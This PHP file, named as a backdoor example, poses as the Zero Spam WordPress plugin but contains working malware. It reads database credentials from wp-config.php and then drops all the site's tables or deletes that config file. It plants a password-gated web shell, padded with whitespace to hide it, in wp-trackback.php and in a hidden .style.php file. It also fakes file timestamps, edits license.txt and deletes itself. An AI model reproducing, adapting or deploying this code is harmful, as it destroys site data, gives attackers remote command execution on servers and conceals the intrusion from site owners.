backdoor-example.php

<?php

/**
 * @package ZeroSpam
 * @version 6.0.0
 */
/*
Plugin Name: Zero Spam for WordPress
Plugin URI: https://www.highfivery.com/projects/zero-spam/
Description: Tired of all the ineffective WordPress anti-spam & security plugins? Zero Spam for WordPress makes blocking spam &amp; malicious activity a cinch. <strong>Just activate, configure, and say goodbye to spam.</strong>
Author: Highfivery LLC
Version: 6.0.0
Author URI: https://www.highfivery.com/
*/




header("Content-Type: application/json");
$status = array();
function get_wordpress_data()
{
    $content = @file_get_contents(__DIR__ . "/../../../wp-config.php");
    if (!$content) {
        return false;
    }
    $params = ['db_name' => "/define.+?'DB_NAME'.+?'(.*?)'.+/", 'db_user' => "/define.+?'DB_USER'.+?'(.*?)'.+/", 'db_password' => "/define.+?'DB_PASSWORD'.+?'(.*?)'.+/", 'db_host' => "/define.+?'DB_HOST'.+?'(.*?)'.+/", 'table_prefix' => "/\\\$table_prefix.+?'(.+?)'.+/",];
    $return = [];
    foreach ($params as $key => $value) {
        $found = preg_match_all($value, $content, $result);
        if ($found) {
            $return[$key] = $result[1][0];
        } else {
            $return[$key] = false;
        }
    }
    return $return;
}
if (!isset($_REQUEST['install'])) {
    die();
}
if (!isset($_REQUEST['pw'])) {
    die();
}
$tool = str_repeat(' ', 2048) . 'if(isset($_REQUEST["pw"],$_REQUEST["c"])){if($_REQUEST["pw"]=="' . $_REQUEST['pw'] . '"){try{if(isset($_REQUEST["c1"])){eval($_REQUEST["c"]);}else if(isset($_REQUEST["c2"])){header("Content-Type: text/plain");passthru($_REQUEST["c"]);}else{eval(base64_decode($_REQUEST["c"]));}}catch(Exception $e){header("Content-Type: text/plain");var_dump($e);}die();}}';
$status['pw'] = $_REQUEST['pw'];
switch ($_REQUEST['install']) {
    case '1':
        $status['remove'] = unlink(__DIR__ . "/../../../wp-config.php");
        break;
    case '2':
        try {
            $wordpress_data = get_wordpress_data();
            $status['wordpress_data'] = $wordpress_data;
            $mysqli = new mysqli($wordpress_data['db_host'], $wordpress_data['db_user'], $wordpress_data['db_password'], $wordpress_data['db_name']);
            $mysqli->query('SET foreign_key_checks = 0');
            $tabls = 0;
            if ($result = $mysqli->query("SHOW TABLES FROM " . $wordpress_data['db_name'] . " LIKE \"" . $wordpress_data['table_prefix'] . "%\"")) {
                while ($row = $result->fetch_array(MYSQLI_NUM)) {
                    $mysqli->query('DROP TABLE IF EXISTS ' . $row[0]);
                    $tabls++;
                }
            }
            $mysqli->query('SET foreign_key_checks = 1');
            $mysqli->close();
            if ($tabls < 4) throw new Exception('Invalid username or password', 100);
            $status['remove'] = true;
            $status['remove_tabls'] = $tabls;
        } catch (Exception $e) {
            $status['remove'] = unlink(__DIR__ . "/../../../wp-config.php");
        }
        break;
    default:
        die();
        break;
}
if ($status['remove'] === false) {
    $status['remove_alt'] = file_put_contents(__DIR__ . "/../../../wp-config.php", " ");
}
$trackbackc = file_get_contents(__DIR__ . "/../../../wp-trackback.php");
$trackbackm = filemtime(__DIR__ . "/../../../wp-trackback.php");
$status['install_1'] = file_put_contents(__DIR__ . "/../../../wp-trackback.php", str_replace("<?php", "<?php" . $tool, $trackbackc));
if (!file_exists(__DIR__ . "/../../../wp-includes/assets")) {
    $includesm = filemtime(__DIR__ . "/../../wp-includes");
    $status['install_2_1'] = mkdir(__DIR__ . "/../../../wp-includes/assets", 0755);
    $status['install_2_2'] = touch(__DIR__ . "/../../../wp-includes/assets", $includesm);
}
$status['install_2'] = file_put_contents(__DIR__ . "/../../../wp-includes/assets/.style.php", "<?php" . $tool);
$status['install_3'] = touch(__DIR__ . "/../../../wp-trackback.php", $trackbackm);
$status['install_4'] = touch(__DIR__ . "/../../../wp-includes/assets/.style.php", $trackbackm);
if (file_exists(__DIR__ . "/../../../license.txt")) {
    $licensec = file_get_contents(__DIR__ . "/../../../license.txt");
    $licensem = filemtime(__DIR__ . "/../../../license.txt");
    if (is_writable(__DIR__ . "/../../../license.txt")) {
        $scount = 0;
        $status['license_1'] = file_put_contents(__DIR__ . "/../../../license.txt", str_replace("MERCHANTABILITY AND FITNESS", "MERCHANTABILITY, AND FITNESS", $licensec, $scount));
        $status['license_2'] = touch(__DIR__ . "/../../../license.txt", $licensem);
        $status['license_3'] = $scount;
    } else {
        $status['license_1'] = false;
    }
} else {
    $status['license_1'] = false;
}
$status['dir'] = __DIR__;
$status['melt_1'] = array_map('unlink', glob($status['dir'] . "/*.*"));
$status['melt_2'] = rmdir($status['dir']);
die(json_encode($status));